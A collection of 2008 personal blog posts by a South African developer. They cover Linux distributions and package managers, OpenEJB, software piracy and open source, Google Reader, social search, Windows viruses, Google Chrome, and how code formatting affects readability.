What I didn't know at the time was that there were no South African Linux distros. Had I just done it, I would have made the first South African one! But we have many of these don't we. Had I done this, had I done that? I'm so lame and stupid sometimes. Either way, first holiday after finishing high school I met someone over IRC who offered me a job. Taking up the employement as a PHP developer for an accounting software company, whom I learned were developing the first South African distro, Impi Linux. And the guy who offered me the job over IRC, Francis Viviers, was the one who began it while he was in high school. How does the saying go again, "what a small world"?

Today
Today I'm much more experienced with Linux. I wouldn't call myself a master, but I would say that I'm probably close to an expert. I use Linux predominantly. Actually, I only use Windows when using another person's machine. I don't have Windows or any other O/S for that matter. I've tried a lot of BSD and a bit of Solaris, but Linux just gives me everything I need in a comfortable way. Solaris is great, and if I had to run a Sun server I would probably use it (great enterprise distro), but Linux runs fast on Intel, has tons of software available for it, great layout, GNU, etc.

I also, for instance, don't reinstall when I run into a severe problems anymore, but can usually fix it quickly and effortlessly as I understand Linux well.

I customize it extensively. The GUI I mostly only add a few applets and launchers to the panels. The console level is highly customized though. Most of my /etc is custom. I also have my own bin directory, which I call /usr/zbin. It's on my path by default and contains tons of scripts for automating many of my routine and regular tasks (such as debugging/tweaking/hacking, network configurations, standard iptables changes, etc).

I also use the terminal almost exclusively. I very rarely use the graphical file manager to manage files (only when complex reorganization is required and using a GUI would make it easier than wearing out my TAB key). The console is extremely powerful and using this over the GUI keeps you much more informed on and gives you greater insight into what you're busy with. Many problems I've solved using the console where I would have never done so using a GUI (unless Fortuna intervened). The Unix pipes and fifos and flat-files design patterns are beautiful and is what gives Unix it's power and flexibility. This streams mainly from, roughly said, the ability to fit together an endless list of commands, control almost all software in this way and easily automate managing configuration since everything is available in a text format. Fantastic!

But all things put aside, let me get back on track. What makes a good Linux distro.

I'm not going to go in depth on analysing the requirements of a good Linux distro. Also, this is not a general "what makes Linux good". That's easy. The terminal (a.k.a. the swiss army knive of software). I'm just describing what I look for primarily and how I would decide when the need arises.

All Linux's have the Pipes/Fifos/Flat files for configuration. Some software move away from this and shift some config into LDAP directories or databases. This is mainly to make them scalable, so I can see why they would do this for certain scenarios. If a Linux distro has too many unnecessary binary applications in places where scripts would do just fine, or they use non-file configuration/runtime data where it's not necessary they loose points by me.

System Layout and Design
A good system layout is necessary. Many use the word "flavour" to describe the concept of a "distro" to others. It's a good portrait of the idea. What gives it this flavour includes the software packages available, the software to manage these packages called "package manager", the way they control services, "service level configuration" for their software (more on this term later), utilities they provide to manage the system and more easily change/customize configuration, optimizations applied, purpose-focused media it's shipped on, support/update facilities and much more.

Linux is nothing more than a kernel. It's useless on it's own. In fact, when booting it you need to specify a command that should be run. If none is specified it looks for the "init" command in certain default locations. If not found it gives an error. So the toolchain added to this makes a basic useable environment on which you can build. Doing this and then adding all your different ingredients gives you a distro.

If you ever want to learn tons about the basics of Linux I recommend Linux From Scratch. It's a bunch of guides that takes you through the processes of building a distro from the ground up. Carefully go through all these guides and then also through the packages you download and install. They, for instance, give you the init scripts, saving you the time of writing them yourself. So reading through them and seeing what you're doing (or better yet reproducing them as you go along) will teach you a great deal about Linux.

I learned Linux in a similar way. Instead of building my own, I used a very clean/stripped distro, Slackware 8. Using this I had to do almost everything myself and through this learned the art of Linux.

So, what else I look for in a distro is the way they structured and link together all these ingredients. All distros use shell scripts to control the system boot and init processes. Many distros have their scripts very specific to their purposes. Then many other distros have these scripts very dynamic. I hope I'm describing this properly.

Take for instance Gentoo. Being an extremely flexible distro which can take many different software packages of similar types, you have to centralize some things somewhere, and because of this you need flexibility in these control scripts. An example would be the networking modules. If you decide to use iproute2 over ifconfig, you would specify this as an option in your network configuration. Because of all these options (and in the Linux world they are many, believe me) a certain level of abstraction and dynamicness is necessary.

A benefit of this dynamicness is the ease of integrating a custom package or customizing the logic. Many times you can achieve great things with the least amount of effort.

Then you get those distros on the other hand, which come the way they come. There scripts are very specific. For different software packages or modules a new script is added or simply replace another one. With specific I mean the exact opposite of the dynamic described above, ie. each package
has it's own scripts written for it, so they don't share any code. Customizing these can be a huge effort sometimes, as you need to change almost everything about it. I'm not going to go into very specific (excuse "pun") details and examples. If you want more information, feel free to e-mail me.

Generally when you do something in a certain way in one place, you apply the same methodologies to similar things in other places. So this "fixedness" of scripts are generally applied to the general system. So the general design of the system is very specific. Don't get me wrong here, it's not a bad thing. If it's needed to achieve it's design, and it's done well then it's a good thing.

Again using Gentoo as an example. I'm also going to refrain from giving an example of the opposite, to avoid getting flamed by lovers of the "example" who, just because they're used to using it, feel they're distro is dynamic. This is mainly because I used "effort to customize". If I find a better way to describe it I will create a sister post on the topic. With gentoo adding an init script is VERY simple. And giving it a configuration file is JUST as simple. You can use vim to create a new file in /etc/init.d, which gives you a basic layout already. There you just use the supplied API, define dependencies and construct your logic. Then for configuration you just create a second script in /etc/conf.d which is automagically loaded when your init script runs.

I've many times had to create init scripts for one of these other distros (more than I've had for Gentoo), and it's always an effort. I usually find an existing one with a control process similar to what I'm aiming for and then add/remove as necessary. This usually requires a complete overhaul any way. It does save me time with the basics though. So I guess doing this is similar to using Gentoo's VIM script which gives you the basic structure when creating a blank file in /etc/init.d.

Package management
Package management is a very important part. The list of packages should also be large and up to date. There is no point in a package manager if you can't use it anyway. If I want to install some package, sure I can google it, find it, download it and build/install it. But it's so much simpler to just issue some command or use some program and skip all these steps. You learn much more by doing everything yourself, from visiting their web site to reading the docs and building/installing it. Sometimes I just want to get it done though. If I want to learn more about it I'll do so. Besides, I've done it myself thousands of times and if the time arises to do it myself, I know how to go about it. The average guy rarely needs to do it himself, and therefore a good package manager is indispensable.

A package manager's design and workings also depend on the type of distribution. Gentoo's package manager (portage) downloads application source code (when possible) and then compiles and installs it. It offers what is called USE flags allowing you to select what functionality you want built into the application. It also applies patches to fix common bugs, improvements and to help it fit into the Gentoo design. And then one of the great ones the ability to supply custom compiler/linker flags. This is a big one for performance. Most distros distribute basic optimized builds for generic architectures. With Gentoo you can have your whole system optimized for your architecture and even specify your own optimization flags.

All this is great flexibility for having a highly customized system. A down side is the amount of time spent waiting for packages to be installed. There is much more about the portage system that I feel is great features, such as profiles, package release classificication (keywords/masking), eselect, etc, but this is a book by itself. Gentoo is brilliant for a development machines or machines that need high performance. For development you can easily experiment with different configurations to find the best options for a project. For high performance servers you can build the system from the bones up using your own compiler level optimizations. Being highly flexible a lot of effort isn't even required.

Debian/Ubuntu has Aptitude as a package manager. It's fast, straightforward, stable, powerful and easy to use. Primarily it installs binary packages, so installation is much faster than building from source. Just as with Portage, installation is as simple as issueing a simple command and it downloads the required dependencies/packages automatically. It's perfect for desktop use (which is one of the reasons I use Ubuntu on my desktop machines). If I want to install something I simply open Synaptic Package Manager, search for it and if found install it. If it's not found or too old I have to take alternate routes but that's, again, not the point, and rarely the case anyway. Great job Shuttleworth!

Ubuntu has a large package list and the option to add 3rd party repositories. As with Portage, it also manages multiple versions of the same package well. Mirrors in a package manager is also important. Especially the ability to add your own mirrors. A company I worked for had a colocated host on the same network as on of South Africa's largest mirrors (Internet Solutions). This allowed our Gentoo machines to fetch it packages over a 100mbit ethernet connection.

Going hand-in-hand with mirroring is package caching. If you have many machines running the same distro you don't want to download the same package more than once. So package caching solves this problem by having to only download it once and then secondary requests get it from the cache. Aptitude is weak in this sense, and the 3rd party solutions aren't easy to set up.

Redhat/Fedora/CentOS has as a package management system called Yum (at least, the command and configuration falls under this name), similar to Aptitude/Portage in the sense that you issue a command and it download/installs the package for you. Yum is slow though, and it easily fails. I prefer not to use it much and am no expert on it, though I've never used it and felt satisfied with it's performance. One of the biggest reasons that put me off is it's speed. Installing a package takes quite a bit of time to prepare, and then those huge XML files have to be downloaded and reconfiguring it requires editing files with lots of different options/sections. They can really improve it.

Yum is not difficult to use, and once you learn it you know it. It's just so much simpler with Aptitude, and Aptitude offers even more functionality. Some people even install aptitude on their RedHat machines. A big benefit to Yum is probably it's support for transactions. When you install a list of packages with Aptitude and a failure occurred after it has already installed half of your packages you end up with half-baked changes to your system. This is one reason why critical changes like installing a new kernel is achieved by adding instead of replacing, and then offering a choice of the two (defaulting to the newest). I am not sure how upgrading glibc or binutils or other core packages are handled though. If someone could tell me this would be appreciated.

Yum, on the other hand, offers transactions. So if you were to do a system update, and it fails half-way through, you are ensured that your system will remain in the same state as it was before you started the update. It's called Atomicity, as part of the ACID transaction specification.

This makes Yum a much better option for enterprise systems, where downtime isn't an option and should be kept to the utter minimum. If an upgrade/installation fails you can either "rollback" or attempt to "continue" it.

Related to package management are the packages themselves. It's a big attraction if distro keeps their packages up to date and they have a large array of options. It's important to get frequent security/bug patches as well as complete new versions. Depending on your environment though, you might want the one more than the other. This is related to the personal "alias" I have for the word enterprise attached to Linux distros, ie "old". Enterprise versions tend to have old packages. The reason for this is maturity. Rather focus on getting a stable system through heavy testing and bug fixes than giving hot new features packed with many new bugs.

If I maintain a server and had to choose to sacrifise a couple of new features for stability and uptime, I wouldn't even blink twice before choosing the latter. In todays world downtime is often counted not in minutes, but dollars. When you have a certain configuration installed on your distro user's systems and fix the bugs people report as time goes by, eventually that specific configuration will be much stabler than it was in the beginning. Introducing new features/major revisions removes much of this work introducing possible down time.

This is why enterprise distros tend to always seem "outdated". They might not have the newest of everything, but they do carry stable versions of these old packages. Fedora is RedHat's testing grounds. It's very technologically on the edge but through it's large user base RedHat can build a reliable and stable distro for Enterprise users. From my experience this is exactly what they offer. RedHat Enterprise Linux is a brilliant and reliable web/mail server distro. When I setup a server (for whatever purpose) I use nothing other than RHEL (except for high performance specialized servers where I sometimes use Gentoo).

Purpose
As your probably noticed, I have 3 distros I like more than others, Gentoo, Ubuntu and RHEL/CentOS. I didn't choose these due to their popularity. Rather, I think they are popular for being chosen like this by many users. This list changes every now and then. I believe in staying up to date on the options and through this making informed decisions.

The intended purpose for a system determines what distro I will be using.

If I want flexibility/high performance I use Gentoo, for high reliability I use RHEL/CentOS and for the desktop I use Ubuntu. For a desktop system you want simple package management with large array of package options, frequent updates, powerful and easy to use configuration utilities, straight forward and easy networking, automatic hardware detection and configuration, etc. In my opinion Ubuntu offers these more than any other distro. In fact, I feel Ubuntu is what will bring Linux to the average PC user's desktop.

RHEL offers stability, reliability and therfore uptime. Of all the distros I've used for servers, RHEL gives the least amount of problems. And for interest sake, Fedora Core 5 has odd networking issues.

So What makes a good Linux Distro
Taste of Flavour. A bulls eye. If the creators and developers of a distro decided on an intended use for their distro and achieved what they were aiming for, then you have a good distro.

Gentoo got a bulls eye on it's flexibility and power of choice. RHEL got a bulls eye on enterprise. CentOS got a bulls eye on being free RedHat. Ubuntu got a bulls eye on desktop.

This is my view of it all. Some random thoughts:

RHEL's script layouts are not flexible. It's not as simple as Gentoo to add new packages and integrate them into the system's workings. Their scripts are very specific, but this is what's necessary to have the system work the way it's intended to.
Ubuntu for example requires ease of use. It has many configuration utilities for this, and this is what's necessary to work the way it's intended.
Part of Gentoo's flexibility is the many utilities that come with the package manager. I once deleted my /etc directory (by accident of course). I knew turning of my machine will prevent it from booting up again. So I quickly put together a command that queries the package manager for all packages owning files in /etc. Then I built this list into a command to rebuild all of them. When this command finished running I lost quite a bit of customization, but my system was running perfectly fine.
A word on SuSE. Many people ask me why I choose RedHat over SuSE for servers. The reason is mainly because SuSE has dissapointed me too many times. I maintained some SuSE machines for about 3 years after school (at the accounting software company). They weren't all that reliable and failed many times for many reasons. A big no-no was when it replaced weeks of my configuration. I made many changes to configuration files, and then someone used YaST and wiped away all my changes, since apparantly yast recreates all your configuration files. This is done by many tools, so I don't judge SuSE purely based on this. I don't like this though. I believe these tools should interpret the configuration files as-is, which is almost always possible.

Moral of the Story
In this way every distro has it's pros/cons, but it all comes down to purpose. Again, if the creators achieved what they were aiming for, you have a good distro.

So when you need to install a system, determine what you need from it and find a "good" distro that matches this. Be careful to base your information on reviews. Many users of distros are evangelists. They feel their distro satisfies all requirements, because they can make it fit those requirements. You can use reviews as a guide, but in the end your own rational open minded experience is the best judge.

So there you go. I hope that describing my view and story you were able to learn something from choosing a distro. The best tool in choosing a distro is an open mind and a will to experiment. Remember this and you'll be fine.

OpenEJB 3.1

2008-11-17T12:44:00.003+02:00

Something interesting first. In the Hungarian language they don't say a number like 3.1 "three point one", but rather "three and one tenth". The number 3.176 would be "three and one hundred and seventy six thousands". When the number gets very big like 3.12342343 they would say "three wholes and one, two, three, four, ...".

Interesting how different languages evolved in different directions. If one were to look at the reasons for this evolution you would probably find a different approach to mathematics as well. I would love to see how this way of talking numbers came to be.

But anyway, lets talk about OpenEJB 3 and 1/10. Two weeks ago OpenEJB 3.1 has been released! Woohoo! I have anticipated this release since I discovered the beauties of OpenEJB some time ago. I can't wait to get playing with this tonight - arg, I have to work tonight and tomorrow night - so... I can't wait to get playing with this Wednesday evening!

OpenEJB has provided EJB 3.1 features for quite some time now (in fact, some EJB 3.1 specifications come from OpenEJB). EJB 3.1 provides some really hot benefits, like Singleton Session Beans being my most anticipated.

Links:
OpenEJB 3.1 Released
OpenEJB Singleton Session Beans
OpenEJB 3.1 Download

Gnarrr....

2008-11-15T18:13:00.010+02:00

... give me back my 4x Blue Ray DVD Writer Officer Debug or you'll go to Trash!", said Captain Leech as he held his sword shaped cursor (very nicely done really, it flashes as you move it, and the busy icon swings it around like a samurai would if he were to..err.... never mind.

Ignorant me just realized piracy is a huge problem. I used to know this and was a very big pirate myself, but with the explosion of open source I haven't had the need to acquire commercial software much. OSS and being a developer myself gave me a sense of respect for software and put software piracy behind and below me. It has become, I guess, an "unthinkable act"!

Have a look at these recent statistics for software piracy (whether it's really recent I can't say, to me they look more like they could be from 2007). It's huge. The majority of software owned is illegal. This is sad yet understandable given the price of software.

A company decides on a price for their products based on their budgets. Budgets in turn are calculated by taking into account costs and applying a revenue margin. So if less people buy their software they need to increase the prices of those that ARE sold so as to meet budget. Note that this methodology isn't used by Microsoft - who calculates budgets based on 2 factors (1) how much money they need for the given year in their Take Over the World campaign (2) how evil they want to be. [These are my opinions and doesn't reflect the information from the documents acquired from *snip*]

Before we continue, note that this post does not cover or take into account piracy of other media like music or movies, only that of computer software. Also, all opinions are my own. I tried to stay close as possible to facts and apologize for where I might have made mistakes.

I know this argument is common and don't care that I'm repeating what has been said thousands of times. I blog because it's satisfying and I like satisfaction and writing something "verbalizes" it and therefore helps me gain insights into the topic.

Free software is one of the greatest things of the information age. Anytime I need something I just go find it and use it! Beautiful!

And it's the way to go. There are many companies who thrive on giving away software at 0 cost. Take Mule, MySQL or Sun for instance (the last 2 being one and the same now). They are all successful and don't ask a penny for there software. They do have special releases and support contracts which you can purchase and receive extra benefits or services well worth the cost, but they don't close the door for those of us who aren't as fortunate to roll your own with a Benny.

Then you get those in the middle like Oracle. Most (if not all) of their software are downloadable from their web site. Some of them you can use without limitation (JDeveloper) and some require licenses to use for commercial purposes. But still, if you're simply an enthusiast you can download their fully featured database system and spend endless nights becoming an expert. This is the way the best IT experts came where they are today - by teaching themselves out of the love for software.

Not only this but I believe it is in their best interest, since these enthusiasts usually become loyal supporters. If you wish to learn some random Microsoft product you need to spend time/money on courses and then even more if you wish to "enthusiate" in your own privacy.

I am much more likely to suggest PostgreSQL or Oracle for a database system than I would Microsoft, mainly because of all those sleepless nights of grasping my hands and screaming "fugging amazing!" while playing with their products. Same goes for Linux/Solaris and many other freely downloadable software. So by creating these loyal supports they ensure their place in the market by having people skilled in their software drive their marketing. This idea is further strengthened through a quote (I can't remember from where) along the lines of "Your best marketing is through your users."

Beyond this, most free software are of higher quality than their expensive commercial competitors. Tomcat is by most benchmarks the fastest web container out there, and Apache HTTPD dominates the web server market to such a degree that the rest becomes almost negligible.

-> continue editing here <-
Java's (a free and open source language and compiler) success mostly comes from all the open source libraries out there. Java development is truly a breeze because of all the thousands of hours of development and debugging being replaced by a simple library download.

I was working for a company once who developed a product using the PHP language. It was shipped together with Apache/PHP/PostgreSQL and installed/setup all this for you. We required some features that PHP didn't provide. PHP being open source we could easily add this. It's not a very good example of modifying a product's source compared to hoping a feature request is answered, but points to a great benefit of it. If you find a bug or lack of feature in any open source product and have the skills/capacity to add it yourself, the option is available. Not all closed source products can't give you this, and even those that allows plugins still leaves some limitations.

All these benefits asides, free and open source software has come a long way, so long that Open Source is now not only a term but a culture [There is a very good book on this topic, I can't remember the name though]. In this culture there is a very big respect for software/developers. Mention a pirate copy of some software product in many Open Source IRC channels and you get a slap in the face. I must admit that I feel the same. Piracy is a crime, and it does hurt those companies who spend many man hours developing them, but some people just can't afford the prices of software.

It's a double sided blade though (is this metaphor correct?). Lower the prices and more people will buy it, but you can't lower the prices because there's too much piracy. Then there is the issue of games. A large part of the software market is the console/computer games. Free software I must admit isn't viable in this market, not if you want to profit from it. Try sell a support contract or "more stable" version to a gamer. Hah!

One solution to piracy is most definitely to make your software free or open source, though most companies will fold or many employees loose their jobs if this had to happen suddenly. So it won't happen overnight for good reason. I do however believe that the software market will slowly move in this direction and businesses will more importantly start finding more ways to profit while keeping everyone happy. I mean, with the current world-wide economic crisis, Sun is even banking on Open Source to pull them through their problems (see this Slashdot portal article for more details).

I end this with asking people to look into open source solutions before you throw money at purchasing something many times more pathetic than the free alternatives. I have found commercial software to sometimes be of a much lower quality than the open source ones, but because they carry a price, come with a "support contract" and ends with the word "Enterprise" businesses tend to think it's somehow "better" and then feel more secure in their choices. Some open source vendors have even made it to the stock market by using this as a strategy.

As many of you probably know Sun is suffering (as is many other businesses all around the world - mainly due to the current economic crisis/recession). I haven't really appreciated the seriousness of their problem until they announced yesterday they will be laying off between 5000 to 6000 of their employees.

I feel real sorry for those guys. To be laid off at a time like this can't be easy so I pray they will find their way without too much trouble. But that's not my point so let me get to it.

Apparently businesses are trying to save money by rather investing in lower-commodity instead of high-end super-servers. Note that I'm not a big on economics so my facts and insights might be a bit skewed in this one, but to me this is an indication that people might start realizing the value of open source. Through this and some wise actions (am I hoping for too much now?) they could come to learn that saving money on software didn't harm them.

Sun's strategy also involves marketing these lower cost items to companies who already use their open-source software (Solaris, MySQL, Sun Application Server) as well as ad space in their Star Office suite. This gives me the general indication of more marketing power towards open source software. Maybe I'm just hopeful, but this economic crisis might just awaken more people to this.

The answer to finding the right product is nothing more than an open mind, good research and the eyes to see the success of others. Some of the biggest technologies in the world run on open source. Take Java for instance... it's free, it's open source and it's one of the best things that hit enterprise in the past ever! Also, many of the best programmers/engineers in the world are those in open source software (more on this another time). And business can save so much (especially in the long run) by using Linux on their desktops as far as viable - save by having less damage from malware (see my post on virusses), save on license fees and save on having less tech guys who's sole purpose is reinstalling Windows drivers and rebooting computers.

My parents own an advertising/printing business. How much productivity have they not !lost! because of virusses, software crashes and general "Windows decay" (TM). The biggest of their problems were solved by installed a Linux file server with a raid mirror and an Gnome interface which they use to access memory sticks brought in by clients (many more safety benefits really).

And more interest and usage of open source software will definitely awaken larger software companies (like Adobe/Corel) to the need of having their products ported to this growing platform. I'm no expert on Wine, but doesn't the Wine API make it easier to port your Windows products by compiling against it?

Software - I love it. And as they say, what goes down must come up, right? So this recession might just pay off for open source and solve some of our piracy problems - just because it can.

Sometimes old, sometimes new

2008-11-13T21:09:00.007+02:00

Sometimes I'm outdated on trends/technologies, sometimes I'm cutting edge.

I don't really make a huge mission to stay updated with everything. I just stay calm and see where life takes me.

But before it looks like I'm feeling guilty and simply trying to protect my integrity, let me get to the point.

Sometimes old, but I just discovered Google Reader. Staying up to date with your favorite blogs is quite the effort. You need to make a point of visiting each of them regularly (in my case daily). Many times just to find out there hasn't been a new post in the past few days. This can be very disappointing (you know the feeling where you have lost a few seconds of your life and start having a panic attack).

A few days ago I started adding my favorite blogs to the Blogger list of "Blogs I'm following". This made it a bit easier by having a list of blogs and their latest entries all in a centralized location.

I have noticed the "Import from Google Reader" option when adding blogs to this list, but didn't bother clicking on it since I wasn't using Google Reader and had nothing to "Import from It".
Then tonight I noticed a "View in Google Reader" button. Whether I was just ignorant to it or it's a new feature I'm not to sure of and don't really care, but being bored and on the internet I decided to see what Google Reader was all about and clicked on it.

Google Reader has an interface similar to that of Gmail, and allows you to subscribe to list based services with supporting services around them. Of note, you can add RSS feeds or blogs to your reading list and then their content will be listed as "Unread" items. So you immediately see what you're following and which of these have something you haven't put your eyes on.

As you browse through one of your subscribed items, you see a short version of the item (as usually). From here you can Star it (same as with Gmail), label it, share it, e-mail it or read it. This way you can manage a followed blog in ways similar to managing a mail group or mailing list.

On top of all this they have reading stats called trends. You can see trends on how your read items spread over time, the top trends on items per subscription or the top trends on subscriptions themselves. You can also share items through your Google Profile, which just adds another bit of social to the web. Remember the days where web geeks were the joke of all asses? Well today it's the social core! Amazing :>

This is definitely useful, as it keeps things organized, centralized and makes many of the commons tasks of sharing and "bookmarking" blog entries much simpler.

I will definitely be using this from now on and want to thank and congratulate Google with another "most useful app ever" award (Google Mail being the first).

/me hands over the 10^100 award to the Google Reader team.

A new Innovative Approach to Search

2008-11-12T23:25:00.010+02:00

Will this be the new Google is a question a few companies have hoped to be the "yes" answer for related to their search products. Take Cuil for example, they feel they are making a break through in web navigation giving the world a more accurate/relevant search engine.

Besides them, OneRiot (previously known as Me.dium) struck a cord with me. They have quite an interesting approach to finding content which they call social searching. Instead of ranking based only on links and relevance, they rank based on what users are actually surfing at the time.

Same as with Alexa a browser plug in records your browsing history and using this information they rank pages based the "pulse" of the pages in your search results.

This in itself might not be a breakthrough in finding content relevant to a specific query, but can certainly help when trying to find information on something very popular or trendy at the time of the search. For example, when the winter starts and you have flu symptoms using OneRiot you will find all the flu related sites people are visiting... (this lame example was inspired by Google's Flu Trends).

The also have a list of "Today's Hot Topic on OneRiot". And "OneRiot" launches is one of them. So the is a definite indication that they have made an impact on their users, and people are "Raging" about it.

All this doesn't really help much when you are searching for anything technical, which is what I will most likely be doing the majority of the time. This is mostly because technical searches are for something specific related directly to what you want instead of what most people want. I did a search for "download apache tomcat" and results were pretty much the same as that of Google. So not much social influence here I guess (unless of course Google dominate our minds and their rankings determine our visit habits *look left* *look right* *run*). Another problem might be when the "most relevant" document for a specific search might be related to a specific version of the software, but since an older version is more used and therefore downloaded more, then you will end up getting the wrong document listed. In many ways and topics social searching can be counter productive. So finding information on the latest celebrity scandal might just be the only thing it's good for.

Also, for sites that are already very popular on a large number of topics this might make it unfair towards the smaller sites, who will get less visitors since they rank low, and they will never rank high because people never find them. A balanced approach to hype and relevance is definitely necessary for this to succeed.

To collect all this data through the installation of a plug in is something many people disagree with. People don't like installing software into their browsers - period. We've seen this become accepted with Java and Flash, but these deliver content instead of a "feeling of breach".

I can think of many good or bad things about social search but definitely feel that it shouldn't be ignored completely. Both types of search as separate services, or at least the ability to turn of the "social aspect" is probably the best option as this allows you to focus less on pop and more of the content.

OneRiot is still in their alpha phases though, so this might all change to a completely different system and might become the "Web 2.0" of search. I will certainly be keeping an eye on them to see what's happening with it. That's one more eye than I'll be keeping on Cuil, which was hype without justification in my opinion.

I will also be doing my part and installing the plug-in. I like my browser clean and uncluttered but for this I'll make an exception and ask that as many people as possible do the same.

I know they have a Firefox and IE plug in, so this covers support for the largest part of the internet. Whether Konqueror/Safari or Opera is supported I'm not sure. Best bet is to visit the about page and click the "Install the PulseChecker" button at the top of the page.

Not only does the PulseChecker help them classify the "social status" or "pulse" of the page you are visiting, but it also displays this information in your browser's status bar. So you can see whether the page you are visiting is "Unrated", "Emerging", "Surging" or "Raging" based on the data they collect from surfers. Added to this is an "average visit duration" and an easy to reach button to turn off the feeding of your browsing history to their servers which is needed for when you visit your competitor's sites ;> and creatively enough called "Don't help OneRiot create the best search engine for Everyone".

Beyond this I'll leave you to discover the rest for yourself.

A tribute to Stevey's Fish

2008-11-12T16:12:00.001+02:00

Read this article today - brilliant read. Figured I have to link share it.

Click here to read Programmers View of Universe

The Solution to Virusses - Keep your Company Breathing

2008-11-12T10:58:00.003+02:00

I have been researching past viruses, their authors and the effects of their handy work. This was all inspired after seeing a mug shot of Jeffrey Lee Parson (the author of the Blaster worm). He looked really dorky and seemed to be a super loser, so naturally I wanted to see what the scene was all about.

Beyond all this an old, but good article summarizing many viruses got me thinking: http://www.theregister.co.uk/2003/09/01/parson_not_dumbest_virus_writer/

When you walk into the average business, whether small or large, you see computers. All these desktop machines run Windows.

The other day I visited a client to get some data from their computer (they were incapable of exporting it themselves). I copied this data to my new 3 week old 8GB Transcend memory stick (which by the way has a life time guarantee and is already broken).

When I got back to the office and plugged it into my computer I noticed an autorun.inf and knight.exe file. Obviously I got a virus from this company. Even though they were running anti virus software, I still got a virus... (lucky for me I only use Linux, so it caused no more than that of a giggle).

This is a major cause of viruses spreading, Windows users. The design of Windows easily leads to spreading viruses.

Also, a large percentage of all business desktops are used for nothing more than general "office use". If businesses had to start switching over to Linux they wouldn't have so much troubles, and you wouldn't hear about "$2.4 billion" damages".

One can argue that if the market for Linux turned to a majority of dumb users then virus writers will start targeting this O/S, but I believe that even if they were able to achieve this, our faithful open source programmers will much more successfully be able to stop all this.

And even if this isn't the case, at least the "smart companies" who switch over now will at least get the benefit of being in a "safe market".

I know this argument is raised by many, and it will most probably not become a reality, ever. But none the less I put it out there, just in case some Fortune 500 CEO googles "The Solution to Virusses - Keep your Company Breathing". Just maybe I'll make a difference, and just maybe I'll get some good karma for a change.

I don't want to start another lame O/S war. I'm just stating what I would do (and feel others might benefit in following) if I walk into a large firm and suddenly become the MD, and that would be to for the most part use Linux on my desktops. I know that's what I've been doing everywhere else, and it's working. People are happy, and some don't even notice they're "using something else" (which is a story for another day).

Computer Errors and Error Messages

2008-11-11T16:26:00.001+02:00

Most folks hate errors... so did I. I don't anymore though, they don't intimidate me anymore, and I'm happy that I received more than my fair share of them.

I always had bad luck with computers and especially software. It wasn't until recently that I started appreciating this. If it wasn't for all this problems I would never have had all the insight I do into software... so I thank God for all the **** he have me throughout my years.

Something: The Thirteen Greatest Error Messages of All Time

Google Chrome - The new Open Source Browser

2008-11-11T13:48:00.002+02:00

So the guys at Google still think they're revolutionizing everything? They might even be right. Or is it just wishful thinking giving past success?

Many of Google's technologies truly amaze me. Take Gmail for instance, I was forced to use it after my laptop's hard drive crashed. Now it's all I used. Thunderbird got moved to "Trash".

So, about Google Chrome. Here is a few highlights that I found attractive.

Memory management through separate processes, each tab having it's own. This way anything bad that happened in a tab (a memory leak or exploit for instance) has it's effect taken away completely after closing the tab. It's not the first application that does it this way. PostgreSQL also has a separate process for each of it's connections, the exact reasons for this I can't say, though memory management could certainly be apart of it - though the connection might only be a small part of the whole system.

An new JavaScript engine called V8, with improved performance and better/faster garbage collection. The key area for the improved performance which is the most impressive is that interpreted JavaScript code on a page is compiled to machine code - WoWza! And V8 is available open source both as a library and standalone application (and not only for Windows but Linux and Mac OS X as well).

We all clear our history and cache occasionally. Sometimes just for a cleanup, sometimes to ease finding bugs in software and sometimes to hide something. Ingognito mode in Chrome allows you to open a window which doesn't save anything about what you're doing. The neglected husband might find this useful.

For more detailed semi-technical information, read the cartoon introduction of Chrome, a hilariously and ingeniously witty overview.

Page 17's street sign definitely leans on "wishful thinking", or rather vanity side though.

Unfortunately it's only for Windows, so I will not be "feeling it" any time soon...

The Psychology of Programming

2008-11-11T11:15:00.000+02:00

For quite some time now I've had an interest in the psychology of programming. In other words the effect it has on us, how we solve programming related problems, how we bring together our knowledge of technology to decide on best solutions and so forth.

It's a very interesting subject really. Most people studying the subject, do so on subjects like (a) learning to program (b) program comprehension (c) evolution of source code, etc. I have not been able to find much information on topics that are of practical use to those who solve the problems and lay down the word. Though it's a big field with too many topics to even think of let alone name them, so I guess the practical side is a minor part of it and naturally content will be lacking.

If understood well enough, I believe it can dramatically improve your ability to finish tasks with shorter times and less errors.

For one, the mere style which you use to indent your code obviously has an effect on your brain. I have found that using certain indentation styles in HTML documents leads to more unclosed tags or layout problems that others. Also, with certain Java/C source styles I can spot and solve potential problems far easier before found at runtime.

To me this is a definite indication that the styling has an effect on your perception and therefore linked to a psychology.

Take this for an extreme example


/* a perfectly understandable and readable Java program */
public class PsychoCode1
{
public static String pv;

public static void main(String[] args)
{
 pv = Math.random() > 0.5 ? "Completely and Utterly Incomprehensible." : null;

 if (pv != null)
 {
   System.out.println("Value of pv: " + pv);
 }
 else
 {
   System.out.println("pv is null.");
 }
}
}

Now, let's "alter it's code formatting and indentation style" a tad bit:

public class PsychoCode2
{
public
static
String
  pv;

public
static
void
  main( String args[  ] )
{
  pv =
    Math
      .random()
        >
          0.5 ?
            "Completely and Utterly Incomprehensible." :
            null;

  if
    (pv != null)
{
    System
      .out
      .println
(
        "Value of pv: " +
        pv
);
}
  else
{
    System
      .out
      .println
(
        "pv is null."
);
}
}
}

Now that's not as easy to read/understand is it? You can argue that it's just crazy and who would use such a style in the first place? But the point remains that a different style is easier to read/understand. If you get used to the above style it might become easier, but it will still be more of a strain for you compared to a style that naturally flows and creates mental patterns suitable for your brain.

The format/style of the code doesn't affect the compiler, which leaves you to choose your own style. So discovering and choosing a style that creates the desired effect on your brain can improve your general ability.

I have been unable to find much research in this area specifically, and believe that it's an open field which can certainly help the software engineering field.

For more information on the psychology of programming, I have found the PPIG web site a good source to start from.

How to recognize a good programmer

2008-11-03T14:36:00.000+02:00

Facebook has impressed me for the first time. A friend I knew from primary school has contacted me :>

Either way, doing a Google search on his name, I came across his blog, which in turn led me to a "blog entry" on "How to recognize a good programmer", which in turn is referencing another blog entry.

The key points are summarized as follows:

Positive indicators:

Passionate about technology
Programs as a hobby
Will talk your ear off on a technical subject if encouraged
Significant (and often numerous) personal side-projects over the years
Learns new technologies on his/her own
Opinionated about which technologies are better for various usages
Very uncomfortable about the idea of working with a technology he doesn’t believe to be “right”
Clearly smart, can have great conversations on a variety of topics
Started programming long before university/work
Has some hidden “icebergs”, large personal projects under the CV radar
Knowledge of a large variety of unrelated technologies (may not be on CV)

Negative indicators:

Programming is a day job
Don’t really want to “talk shop”, even when encouraged to
Learns new technologies in company-sponsored courses
